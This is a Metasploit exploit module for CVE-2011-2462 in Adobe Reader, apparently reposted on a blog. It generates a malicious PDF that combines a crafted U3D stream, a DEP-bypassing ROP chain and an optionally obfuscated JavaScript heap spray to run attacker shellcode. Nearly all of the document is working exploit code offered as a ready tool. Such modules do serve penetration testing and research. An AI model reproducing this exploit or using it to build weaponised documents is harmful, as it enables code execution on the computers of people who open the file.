### This file is part of the Metasploit Framework and may be subject to |
# redistribution and commercial restrictions. Please see the Metasploit |
# Framework web site for more information on licensing and terms of use. |
# http://metasploit.com/framework/ |
## |
require 'msf/core' |
require 'zlib' |
class Metasploit3 < Msf::Exploit::Remote |
Rank = AverageRanking |
include Msf::Exploit::FILEFORMAT |
def initialize(info = {}) |
super(update_info(info, |
'Name' => 'Adobe Reader U3D Memory Corruption Vulnerability', |
'Description' => %q{ |
This module exploits a vulnerability in the U3D handling within |
versions 9.x through 9.4.6 and 10 through to 10.1.1 of Adobe Reader. |
The vulnerability is due to the use of uninitialized memory. |
Arbitrary code execution is achieved by embedding specially crafted U3D |
data into a PDF document. A heap spray via JavaScript is used in order to |
ensure that the memory used by the invalid pointer issue is controlled. |
}, |
'License' => MSF_LICENSE, |
'Author' => |
[ |
'sinn3r', |
'juan vazquez', |
'jduck' |
], |
'References' => |
[ |
[ 'CVE', '2011-2462' ], |
[ 'OSVDB', '77529' ], |
[ 'BID', '50922' ], |
[ 'URL', 'http://www.adobe.com/support/security/advisories/apsa11-04.html' ], |
[ 'URL', 'http://blog.vulnhunt.com/index.php/2011/12/12/cve-2011-2462-pdf-0day-analysis/' ], |
[ 'URL', 'http://blog.9bplus.com/analyzing-cve-2011-2462' ], |
[ 'URL', 'http://contagiodump.blogspot.com/2011/12/adobe-zero-day-cve-2011-2462.html' ] |
], |
'DefaultOptions' => |
{ |
'EXITFUNC' => 'process', |
'DisablePayloadHandler' => 'true', |
}, |
'Payload' => |
{ |
'Space' => 1000, |
'BadChars' => "\x00", |
'DisableNops' => true |
}, |
'Platform' => 'win', |
'Targets' => |
[ |
[ |
# Adobe Reader 9.4.0 / XP SP3 |
# Adobe Reader 9.4.5 / XP SP3 |
# Adobe Reader 9.4.6 / XP SP3 |
'Adobe Reader 9.4.0 / 9.4.5 / 9.4.6 on Win XP SP3', |
{ |
# gadget from icucnv36: |
# mov ecx,dword ptr [eax+3Ch] |
# mov eax,dword ptr [ecx] |
# call dword ptr [eax+1Ch] |
'Ret' => 0x4a8453c3 |
} |
], |
], |
'DisclosureDate' => 'Dec 06 2011', #Needs to be checked |
'DefaultTarget' => 0)) |
register_options( |
[ |
OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']), |
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) |
], self.class) |
end |
def junk(n=1) |
tmp = [] |
value = rand_text(4).unpack("L")[0].to_i |
n.times { tmp << value } |
return tmp |
end |
def exploit |
# DEP bypass; uses icucnv36.dll |
stack_data = [ |
junk, |
0x0c0c0c0c, # mapped at 0x0c0c0c0c # becomes edi after stackpivot |
0x0c0c0c0c, # becomes esi |
0x4a806f29, # pop edi / pop esi / pop ebp / ret 14h |
0x4a8a0000, # becomes edi |
0x4a802196, # becomes esi |
0x4a801f90, # becomes ebp |
0x4a806f29, # pop edi / pop esi / pop ebp / ret 14h |
0x4a806cef, # Stackpivot! xchg eax,esp (eax=0x0c0c0c0c) / xor al, al / pop edi / pop esi / ret # padding |
junk(4), |
0x00000000, # becomes edi |
0x00000002, # becomes esi |
0x00000102, # becomes ebp |
0x4a806f29, # pop edi / pop esi / pop ebp / ret 14h |
junk(5), |
0x4a80a8a6, # becomes edi |
0x4a801f90, # becomes esi |
0x4a849038, # becomes ebp |
0x4a8063a5, # pop ecx / ret |
junk(5), |
0x4a8a0000, # becomes ecx |
0x4a802196, # mov dword ptr [ecx],eax / ret # Stores eax (stack address) |
0x4a801f90, # pop eax / ret |
0x4a84903c, # becomes eax (import for CreateFileA) |
0x4a80b692, # jmp dword ptr [eax] {kernel32!CreateFileA} |
0x4a801064, # ret for CreateFileA # ret |
0x00000000, # __in LPCTSTR lpFileName |
0x10000000, # __in DWORD dwDesiredAccess |
0x00000000, # __in DWORD dwShareMode |
0x00000000, # __in_opt LPSECURITY_ATTRIBUTES lpSecurityAttributes |
0x00000002, # __in DWORD dwCreationDisposition |
0x00000102, # __in DWORD dwFlagsAndAttributes |
0x00000000, # __in_opt HANDLE hTemplateFile |
0x4a8063a5, # pop ecx / ret |
0x4a801064, # becomes ecx |
0x4a842db2, # xchg eax, edi / ret |
0x4a802ab1, # pop ebx / ret |
0x00000008, # becomes ebx |
0x4a80a8a6, #
and dword ptr [esp+ebx*2],edi (esp+ebx*2 = 0x0c0c0ce0, edi = {Result of
CreateFileA}) / jne 4a80a8ae [br=1] / cmp al,2Fh / je 4a80a8ab [br=0] /
cmp al,41h / jl 4a80a8ba [br=1] / cmp al,61h / jl 4a80a8c8) [br=1] /
xor al,al / ret |
0x4a801f90, # pop eax / ret |
0x4a849038, # becomes eax (import for CreateFileA) |
0x4a80b692, # jmp dword ptr [eax] {kernel32!CreateFileMappingA} |
0x4a801064, # ret for CreateFileMappingA # ret |
0xffffffff, # __in HANDLE hFile # mapped at 0c0c0ce0 => Stores Result of CreateFileA |
0x00000000, # __in_opt LPSECURITY_ATTRIBUTES lpAttributes, |
0x00000040, # __in DWORD flProtect, |
0x00000000, # __in DWORD dwMaximumSizeHigh, |
0x00010000, # __in DWORD dwMaximumSizeLow, |
0x00000000, # __in_opt LPCTSTR lpName |
0x4a8063a5, # pop ecx / ret |
0x4a801064, # becomes ecx |
0x4a842db2, # xchg eax, edi / ret |
0x4a802ab1, # pop ebx / ret |
0x00000008, # becomes ebx |
0x4a80a8a6, #
and dword ptr [esp+ebx*2],edi (esp+ebx*2 = 0x0c0c0d20, edi = {Result of
FileMappingA}) / jne 4a80a8ae [br=1] / cmp al,2Fh / je 4a80a8ab [br=0] /
cmp al,41h / jl 4a80a8ba [br=1] / cmp al,61h / jl 4a80a8c8) [br=1] /
xor al,al / ret |
0x4a801f90, # pop eax / ret |
0x4a849030, # becomes eax (import for kernel32!MapViewOfFile) |
0x4a80b692, # jmp dword ptr [eax] {kernel32!MapViewOfFile} |
0x4a801064, # ret for MapViewOfFile # ret |
0xffffffff, # __in HANDLE hFileMappingObject # mapped at 0x0c0c0d20 => {Result of FileMappingA} |
0x00000022, # __in DWORD dwDesiredAccess |
0x00000000, # __in DWORD dwFileOffsetHigh |
0x00000000, # __in DWORD dwFileOffsetLow |
0x00010000, # __in SIZE_T dwNumberOfBytesToMap |
0x4a8063a5, # pop ecx / ret |
0x4a8a0004, # becomes ecx |
0x4a802196, # mov dword ptr [ecx],eax / ret # Stores result of MapViewOfFile |
0x4a8063a5, # pop ecx / ret |
0x4a801064, # becomes ecx |
0x4a842db2, # xchg eax, edi / ret |
0x4a802ab1, # pop ebx / ret |
0x00000030, # becomes ebx |
0x4a80a8a6, #
and dword ptr [esp+ebx*2],edi (esp+ebx*2 = 0c0c0db8, edi = {Result of
MapViewOfFile} / jne 4a80a8ae [br=1] / cmp al,2Fh / je 4a80a8ab [br=0] /
cmp al,41h / jl 4a80a8ba [br=1] / cmp al,61h / jl 4a80a8c8) [br=1] /
xor al,al / ret |
0x4a801f90, # pop eax / ret |
0x4a8a0004, # becomes eax {Result of MapViewOfFile} |
0x4a80a7d8, # mov eax,dword ptr [eax] / ret |
0x4a8063a5, # pop ecx / ret |
0x4a801064, # becomes ecx |
0x4a842db2, # xchg eax, edi / ret |
0x4a802ab1, # pop ebx / ret |
0x00000020, # becomes ebx |
0x4a80a8a6, #
and dword ptr [esp+ebx*2],edi (esp+ebx*2 = 0c0c0dbc, edi = {Result of
MapViewOfFile} / jne 4a80a8ae [br=1] / cmp al,2Fh / je 4a80a8ab [br=0] /
cmp al,41h / jl 4a80a8ba [br=1] / cmp al,61h / jl 4a80a8c8) [br=1] /
xor al,al / ret |
0x4a8063a5, # pop ecx / ret |
0x4a801064, # becomes ecx |
0x4a80aedc, #
lea edx,[esp+0Ch] (edx => 0c0c0d94) / push edx {0c0c0d94} / push eax
{Result of MapViewOfFile} / push dword ptr [esp+0Ch] ([0c0c0d8c] =>
0x34) / push dword ptr [4a8a093c] ([4a8a093c] = 0x0) / call ecx (u
0x4a801064 => ret) / add esp, 10h / ret |
0x4a801f90, # pop eax / ret |
0x00000034, # becomes eax # mapped at 0c0c0d8c |
0x4a80d585, # add eax, edx / ret (eax => 0c0c0dc8 => shellcode after ROP chain) |
0x4a8063a5, # pop ecx / ret # mapped at 0c0c0d94 |
0x4a801064, # becomes ecx |
0x4a842db2, # xchg eax,edi (edi becomes 0c0c0d8c, eax becomes Result of MapViewOfFile) / ret |
0x4a802ab1, # pop ebx / ret |
0x0000000a, # becomes ebx |
0x4a80a8a6, #
and dword ptr [esp+ebx*2],edi (esp+ebx*2 = 0c0c0dc0, edi = {shellcode
after ROP chain} / jne 4a80a8ae [br=1] / cmp al,2Fh / je 4a80a8ab [br=0]
/ cmp al,41h / jl 4a80a8ba [br=1] / cmp al,61h / jl 4a80a8c8) [br=1] /
xor al,al / ret |
0x4a801f90, # pop eax / ret |
0x4a849170, # becomes eax (import for MSVCR80!memcpy) |
0x4a80b692, # jmp dword ptr [eax] {MSVCR80!memcpy} |
0xffffffff, # ret for memcpy # mapped at 0c0c0db8 => Result of MapViewOfFile |
0xffffffff, # dst (memcpy param) # mapped at 0c0c0dbc => Result of MapViewOfFile |
0xffffffff, # src (memcpy param) # mapped at 0c0c0dc0 => Address of shellcode after ROP chain |
0x00001000 # length (memcpy param) |
].flatten.pack('V*') |
payload_buf = '' |
payload_buf << stack_data |
payload_buf << payload.encoded |
escaped_payload = Rex::Text.to_unescape(payload_buf) |
eip_ptr = |
[ |
junk(3), |
target.ret, # EIP |
junk(7), |
0x0c0c0c0c, # [eax+3Ch] => becomes ecx / [0x0c0c0c0c] = 0x0c0c0c0c / [0x0c0c0c0c+1Ch] = 4a806cef => stackpivot |
junk(16), |
].flatten.pack('V*') |
escaped_eip = Rex::Text.to_unescape(eip_ptr) |
js = <<-JS |
var padding; |
var bbb, ccc, ddd, eee, fff, ggg, hhh; |
var pointers_a, i; |
var x = new Array(); |
var y = new Array(); |
function alloc(bytes) { |
return padding.substr(0, (bytes - 6) / 2); |
} |
function spray_eip(esc_a) { |
pointers_a = unescape(esc_a); |
for (i = 0; i < 2000; i++) { |
x[i] = alloc(0x8) + pointers_a; |
y[i] = alloc(0x88) + pointers_a; |
y[i] = alloc(0x88) + pointers_a; |
y[i] = alloc(0x88) + pointers_a; |
} |
}; |
function spray_shellcode() { |
bbb = unescape('#{escaped_payload}'); |
ccc = unescape("%u0c0c"); |
ccc += ccc; |
while (ccc.length + 20 + 8 < (0x8000 + 0x8000)) ccc += ccc; |
i1 = 0x0c0c - 0x24; |
ddd = ccc.substring(0, i1 / 2); |
ddd += bbb; |
ddd += ccc; |
i2 = 0x4000 + 0xc000; |
eee = ddd.substring(0, i2 / 2); |
for (; eee.length < 0x40000 + 0x40000;) eee += eee; |
i3 = (0x1020 - 0x08) / 2; |
fff = eee.substring(0, 0x80000 - i3); |
ggg = new Array(); |
for (hhh = 0; hhh < 0x1e0 + 0x10; hhh++) ggg[hhh] = fff + "s"; |
} |
padding = unescape("#{escaped_eip}"); |
while (padding.length < 0x10000) |
padding = padding + padding; |
spray_shellcode(); |
spray_eip('%u4141'); |
this.pageNum = 2; |
JS |
js = js.gsub(/^\t\t/,'') |
if datastore['OBFUSCATE'] |
js = ::Rex::Exploitation::JSObfu.new(js) |
js.obfuscate |
end |
u3d = make_u3d_stream |
xml = make_xml_data |
pdf = make_pdf(u3d, xml, js.to_s) |
print_status("Creating '#{datastore['FILENAME']}' file...") |
file_create(pdf) |
end |
def make_xml_data |
xml = %Q|<?xml version="1.0" encoding="UTF-8"?> |
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/"> |
<ed>kapa</ed> |
<config xmclns="http://www.microsoft.org/schema/xci/2.6/"> |
<present> |
<pdf> |
<version>1</version> |
<fjdklsajfodpsajfopjdsio>f</fjdklsajfodpsajfopjdsio> |
<interactive>1</interactive> |
</pdf> |
</present> |
</config> |
<template xmdfaflns="http://www.microsoft.org/schema/xffdsa-template/2f/"> |
<subform name="form1" layout="tb" locale="en_US"> |
<pageSet> |
</pageSet> |
</subform> |
</template> |
<template1 xmdfaflns="http://www.microsoft.org/schema/xffdsa-template/2f/"> |
<subform name="form1" layout="tb" locale="en_US"> |
<pageSet> |
</pageSet> |
</subform> |
</template1> |
<template2 xmdfaflns="http://www.microsoft.org/schema/xffdsa-template/2f/"> |
<subform name="form1" layout="tb" locale="en_US"> |
<pageSet> |
</pageSet> |
</subform> |
</template2> |
</xdp:xdp>| |
xml = xml.gsub(/^\t\t/, '') |
return xml |
end |
def u3d_pad(str, char="\x00") |
len = str.length % 4 |
if (len > 0) |
#puts "Adding %d pad bytes" % (4 - len) |
return (char * (4 - len)) |
end |
"" |
end |
def u3d_string(str) |
([str.length].pack('v') + str) |
end |
def make_u3d_stream() |
# |
# REFERENCE: |
# http://www.ecma-international.org/publications/files/ECMA-ST/ECMA-363%201st%20edition.pdf |
# The File format consists of these blocks: |
# [File Header Block][Declaration Block][Continuation Block] |
# Each block consists of (padding is used to keep fields 32-bit aligned): |
# [Block Type][Data Size][Metadata Size][Data][Data Padding][Meta Data][Meta Data Padding] |
# |
mc_name = u3d_string("CCCCBox01") |
mr_name = u3d_string("Box01RX") |
# build the U3D header (length will be patched in later) |
hdr_data = [0,0].pack('n*') # version info |
hdr_data << [0,0x24,0xa34,0,0x6a].pack('VVVVV') # 31337 was 0xa34 |
hdr = "U3D\x00" |
hdr << [hdr_data.length,0].pack('VV') |
hdr << hdr_data |
parent_node_data = |
"\x01\x00\x00\x00"+ # node count (1) |
"\x00\x00"+ # name (empty) |
# transform matrix |
[0x813f,0,0,0,0,0x813f,0,0,0,0,0x813f,0,0x548a55c0,0xa2027cc2,0,0x813f].pack('N*') |
model_node_data = "" |
model_node_data << mc_name |
model_node_data << parent_node_data |
model_node_data << mr_name |
model_node_data << [1].pack('V') # Model Visibility (Front visible) |
model_node = [0xffffff22,model_node_data.length,0].pack('VVV') |
#model_node = [0xffffff22,0x5e,0].pack('VVV') |
model_node << model_node_data |
bone_weight_data = "" |
bone_weight_data << mc_name |
bone_weight_data << [ |
1, # Chain index |
1, # Bone Weight Attributes (for a mesh) |
0x3162123b, # Inverse Quant |
0x14, # Position Count |
].pack('VVNV') |
# Position List |
bone_weight_data << [ |
# 1 |
1, # Bone Weight Count |
3, # Bone Index (no Quantized Weight) |
# 2 |
0x55550000, # Bone Weight Count |
0x4c1df36e, # Bone Index |
0x0200d002, # Quantized Weight |
# 3 |
0x95000074, # Bone Weight Count |
0x66ccc357, # Bone Index |
0x00000000 # Quantized Weight |
].pack('VVNNNNNN') |
bone_weight = [0xffffff44,0x3a,0].pack('VVV') |
# We hardcode the length to match the old file.. (TODO: test if necessary) |
#bone_weight = [0xffffff44,bone_weight_data.length,0].pack('VVV') |
bone_weight << bone_weight_data |
new_objtype1_data = |
"\x05\x00\x52\x52\x52\x52\x52\x01\x00\x00\x00\xa6\x04\xa8\x96\xb9\x3f\xc5\x43\xb2\xdf\x2a"+ |
"\x31\xb5\x56\x93\x40\x00\x01\x00\x00\x00\x00\x00\x00\x05\x00\x52\x52\x52\x52\x52\x01\x00"+ |
"\x00\x00\x01\x00\x2e\x01\x00\x76\x00\x00\x00\x00" |
#new_objtype1 = [0xffffff16,0x38,0].pack('VVV') |
new_objtype1 = [0xffffff16,new_objtype1_data.length,0].pack('VVV') |
new_objtype1 << new_objtype1_data |
shading_modifier_data = "" |
shading_modifier_data << mc_name |
shading_modifier_data << |
"\x02\x00\x00\x00\x00\x00\x00\x00\x01"+ |
"\x00\x00\x00\x00\x00\x00\x00\x06\x00\x42\x6f\x02\x00\x00\x00" |
#shading_modifier = [0xffffff45,0x23,0].pack('VVV') |
shading_modifier = [0xffffff45,shading_modifier_data.length,0].pack('VVV') |
shading_modifier << shading_modifier_data |
new_objtype2_data = |
"\x01\x00\x52\x01\x00\x00\x00\xa6\x04\xa8\x96\xb9\x3f\xc5\x43\xb2"+ |
"\xdf\x2a\x31\xb5\x56\x93\x40\x00\x01\x00\x00\x00\x00\x00\x00\x01\x00\x52\x01\x00\x00\x00"+ |
"\x01\x00\x2e\x01\x00\x76\x00\x00\x00\x00" |
#new_objtype2 = [0xffffff16,0x30,0].pack('VVV') |
new_objtype2 = [0xffffff16,new_objtype2_data.length,0].pack('VVV') |
new_objtype2 << new_objtype2_data |
nodemod_decl = "" |
nodemod_decl << model_node |
nodemod_decl << u3d_pad(nodemod_decl) |
nodemod_decl << bone_weight |
nodemod_decl << u3d_pad(nodemod_decl) |
nodemod_decl << new_objtype1 |
nodemod_decl << u3d_pad(nodemod_decl) |
nodemod_decl << shading_modifier |
nodemod_decl << u3d_pad(nodemod_decl) |
nodemod_decl << new_objtype2 |
nodemod_decl << u3d_pad(nodemod_decl) |
nodemod_decl << |
# another modifier chain? |
"\x14\xff\xff\xff\xc0\x01\x00\x00\x00\x00\x00\x00"+ |
"\x07\x00\x42\x6f\x78\x30\x31\x52\x58\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00"+ |
"\x00\x00"+ |
# clod mesh generator (declaration) |
"\x31\xff\xff\xff\x9b\x01\x00\x00\x00\x00\x00\x00\x07\x00\x42\x6f\x78\x30\x31\x52"+ |
"\x58\x00\x00\x00\x00\x00\x00\x00\x00\x24\x00\x00\x00\x14\x00\x00\x00\x6c\x00\x00\x00\x00"+ |
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ |
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00\x2c\x01\x00\x00\x2c\x01\x00\x00\x2c"+ |
"\x01\x00\x00\x87\x52\x0a\x3d\xa6\x05\x6f\x3b\xa6\x05\x6f\x3b\x4a\xf5\x2d\x3c\x4a\xf5\x2d"+ |
"\x3c\x66\x66\x66\x3f\x00\x00\x00\x3f\xf6\x28\x7c\x3f\x04\x00\x00\x00\x07\x00\x53\x63\x61"+ |
"\x70\x75\x6c\x61\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ |
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ |
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ |
"\x07\x00\x48\x75\x6d\x65\x72\x75\x73\x07\x00\x53\x63\x61\x70\x75\x6c\x61\x00\x00\x00\x00"+ |
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ |
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ |
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x55\x6c\x6e\x61\x07\x00\x48\x75"+ |
"\x6d\x65\x72\x75\x73\x00\x00\x00\x00\x00\x00\x20\x41\x00\x00\x00\x00\x00\x00\x20\x41\x00"+ |
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ |
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06"+ |
"\x00\x52\x61\x64\x69\x75\x73\x04\x00\x55\x6c\x6e\x61\x00\x00\x00\x00\x00\x00\x70\x41\x00"+ |
"\x00\x00\x00\x00\x00\x70\x41\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ |
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ |
"\x00\x00\x00\x00\x00\x00\x00\x00"+ |
# clod mesh generator (progressive mesh cont) |
"\x3c\xff\xff\xff\x6f\x01\x00\x00\x00\x00\x00\x00\x07\x00"+ |
"\x42\x6f\x78\x30\x31\x52\x58\x00\x00\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00\x00\x00\x00"+ |
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x94\x00\x00\x00\x50\x02\x00\x00\x28\x01"+ |
"\x00\x00\x7f\x75\x2f\x2b\x00\x00\x20\x73\x00\x00\xc3\x05\x00\x00\x00\x00\x00\x00\x80\x02"+ |
"\x45\xe4\x4c\x55\x01\x00\x00\xe0\x30\x03\x00\x00\xb0\x01\x00\x00\x00\x36\x00\x00\x00\x00"+ |
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x55\x55\x05\x00\x80\xa3\x2a\x00\xc0\xe1"+ |
"\x41\x6b\x92\xf2\xa4\x00\x00\x72\x87\x18\x4c\xd0\xda\x00\x00\x20\x46\xa9\x03\x00\x40\x8c"+ |
"\x00\x00\xa0\x7c\xa9\xa7\x10\x03\x00\x00\xc4\x09\x00\x00\x0d\xd2\x50\x85\x03\x72\x00\x80"+ |
"\x5c\x37\x19\xc1\xb9\x0f\x00\x20\x55\xf7\x13\x00\x40\x00\xdc\x1f\xf9\x2c\x35\x30\x6e\x06"+ |
"\x62\xb6\xea\x09\x2e\x7b\x28\xa4\x90\xe0\xb3\x63\x2c\x20\x92\x2a\x88\xbc\x06\x3a\xff\x80"+ |
"\x43\xb2\x00\x00\x00\x14\x62\x0e\x63\xb4\x04\x08\x47\x52\x20\x31\xca\x00\x00\xb4\x21\xe0"+ |
"\xd7\x01\x00\xa0\x1a\x72\x11\x71\xc2\x2c\x74\xc1\xa3\x56\xfa\x30\x03\x00\xe0\x7b\xd0\x62"+ |
"\x2a\x00\x40\x71\xfa\x6c\xc6\xcf\x07\x78\x81\xd0\x47\x3d\x58\x0e\x51\x0f\x2e\x27\x2d\xbe"+ |
"\x26\x10\x06\x6f\x3a\x40\xae\x36\x6a\x43\x60\xdf\xcb\xef\x8c\x38\xca\x04\x92\x79\x4b\x79"+ |
"\xe9\x42\xbd\x2b\xb9\x5b\x86\x60\x65\xa4\x75\x01\x19\xda\xcf\x6a\xf7\x2a\x77\x3c\xde\xf1"+ |
"\x11\x75\x33\xd3\x94\x74\x4a\x14\x73\x4b\x18\xa1\x66\xc2\x0f\xde\x3d\xed\x19\xd4\x32\x2e"+ |
"\xb6\x11\xf2\xc6\x2f\x13\x62\xb9\xe5\xe1\x03\x8b\xb5\x1c\x23\x9f\x80\x03\x75\xb6\x26\xd3"+ |
"\x1c\x16\x5f\x9b\x3c\xea\x62\x10\xe1\xb1\x00\x00\x00\x00" |
# build the modifier chain |
chain_data = "" |
chain_data << mc_name |
chain_data << [0].pack('V') # type (node modifier) |
chain_data << [0].pack('V') # attributes (no bounding info) |
chain_data << u3d_pad(chain_data) |
chain_data << [0x5].pack('V') # number of modifiers |
chain_data << nodemod_decl |
#modifier_chain = [0xffffff14,chain_data.length,0].pack('VVV') # chain_data was 0x17c bytes |
modifier_chain = [0xffffff14,0x17c,0].pack('VVV') |
modifier_chain << chain_data |
data = "" |
data << hdr |
data << modifier_chain |
data |
end |
def RandomNonASCIIString(count) |
result = "" |
count.times do |
result << (rand(128) + 128).chr |
end |
result |
end |
def ioDef(id) |
"%d 0 obj\n" % id |
end |
def ioRef(id) |
"%d 0 R" % id |
end |
def ASCIIHexWhitespaceEncode(str) |
result = "" |
whitespace = "" |
str.each_byte do |b| |
result << whitespace << "%02x" % b |
whitespace = " " * (rand(3) + 1) |
end |
result << ">" |
end |
def make_pdf(u3d_stream, xml, js_doc) |
xref = [] |
eol = "\x0a" |
obj_end = "" << eol << "endobj" << eol |
# the header |
pdf = "%PDF-1.7" << eol |
# filename/comment |
pdf << "%" << RandomNonASCIIString(4) << eol |
email = rand_text_alpha(3) + "@" + rand_text_alpha(4) + ".com" |
site = rand_text_alpha(5) + ".com" |
xref << pdf.length |
pdf << ioDef(1) |
pdf << "<</Author (Fo)/email (#{email})/web (site)>>" |
pdf << obj_end |
compressed_xml = Zlib::Deflate.deflate(xml) |
xref << pdf.length |
pdf << ioDef(2) |
pdf << "<</Length " << compressed_xml.length.to_s << " /Filter /FlateDecode>>" << eol |
pdf << "stream" << eol |
pdf << compressed_xml << eol |
pdf << "endstream" |
pdf << obj_end |
xref << pdf.length |
pdf << ioDef(3) |
pdf << "<</XFA " << ioRef(2) << ">>" |
pdf << obj_end |
xref << pdf.length |
pdf << ioDef(4) |
pdf << "<</Type/Catalog/Outlines " << ioRef(5) |
pdf << " /Pages " << ioRef(6) |
pdf << " /OpenAction " << ioRef(14) |
pdf << " /AcroForm " << ioRef(3) |
pdf << ">>" |
pdf << obj_end |
xref << pdf.length |
pdf << ioDef(5) << "<</Type/Outlines/Count 0>>" |
pdf << obj_end |
xref << pdf.length |
pdf << ioDef(6) |
pdf << "<</Type/Pages/Count 3/Kids [%s %s %s]>>" % [ioRef(13), ioRef(9), ioRef(12)] |
pdf << obj_end |
data = "\x78\xda\xd3\x70\x4c\x04\x02\x4d\x85\x90\x2c\x00\x0f\xd3\x02\xf5" |
compressed_data = Zlib::Deflate.deflate(data) |
xref << pdf.length |
pdf << ioDef(7) |
pdf << "<</Length %s /Filter /FlateDecode>>" %compressed_data.length.to_s << eol |
pdf << "stream" << eol |
pdf << compressed_data << eol |
pdf << "endstream" |
pdf << obj_end |
xref << pdf.length |
pdf << ioDef(8) |
pdf << "<</ProcSet [/PDF]>>" |
pdf << obj_end |
xref << pdf.length |
pdf << ioDef(9) |
pdf << "<</Type/Page/Parent %s/MediaBox [0 0 640 480]/Contents %s/Resources %s>>" % [ioRef(6), ioRef(7), ioRef(8)] |
pdf << obj_end |
compressed_u3d = Zlib::Deflate::deflate(u3d_stream) |
xref << pdf.length |
pdf << ioDef(10) |
pdf << "<</Type/3D/Subtype/U3D/Length %s /Filter/FlateDecode>>" %compressed_u3d.length.to_s << eol |
pdf << "stream" << eol |
pdf << compressed_u3d << eol |
pdf << "endstream" |
pdf << obj_end |
xref << pdf.length |
pdf << ioDef(11) |
pdf << "<</Type/Annot/Subtype/3D/Contents (#{rand_text_alpha(4)})/3DI false/3DA <</A/PO/DIS/I>>" |
pdf << "/Rect [0 0 640 480]/3DD %s /F 7>>" %ioRef(10) |
pdf << obj_end |
xref << pdf.length |
pdf << ioDef(12) |
pdf << "<</Type/Page/Parent %s /MediaBox [0 0 640 480]/Contents %s /Resources %s /Annots [%s]>>" % [ioRef(6), ioRef(7), ioRef(8), ioRef(11)] |
pdf << obj_end |
xref << pdf.length |
pdf << ioDef(13) |
pdf << "<</Type/Page/Parent %s /MediaBox [0 0 640 480]/Contents %s /Resources %s>>" % [ioRef(6), ioRef(7), ioRef(8)] |
pdf << obj_end |
xref << pdf.length |
pdf << ioDef(14) |
pdf << "<</S/JavaScript/JS %s>>" %ioRef(15) |
pdf << obj_end |
compressed_js = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js_doc)) |
xref << pdf.length |
pdf << ioDef(15) |
pdf << "<</Length " << compressed_js.length.to_s << " /Filter [/FlateDecode/ASCIIHexDecode]>>" |
pdf << "stream" << eol |
pdf << compressed_js << eol |
pdf << "endstream" |
pdf << obj_end |
# xrefs |
xrefPosition = pdf.length |
pdf << "xref" << eol |
pdf << "0 %d" % (xref.length + 1) << eol |
pdf << "0000000000 65535 f" << eol |
xref.each do |index| |
pdf << "%010d 00000 n" % index << eol |
end |
# trailer |
pdf << "trailer" << eol |
pdf << "<</Size %d/Root " % (xref.length + 1) << ioRef(4) << ">>" << eol |
pdf << "startxref" << eol |
pdf << xrefPosition.to_s() << eol |
pdf << "%%EOF" << eol |
end |
end
Tidak ada komentar:
Posting Komentar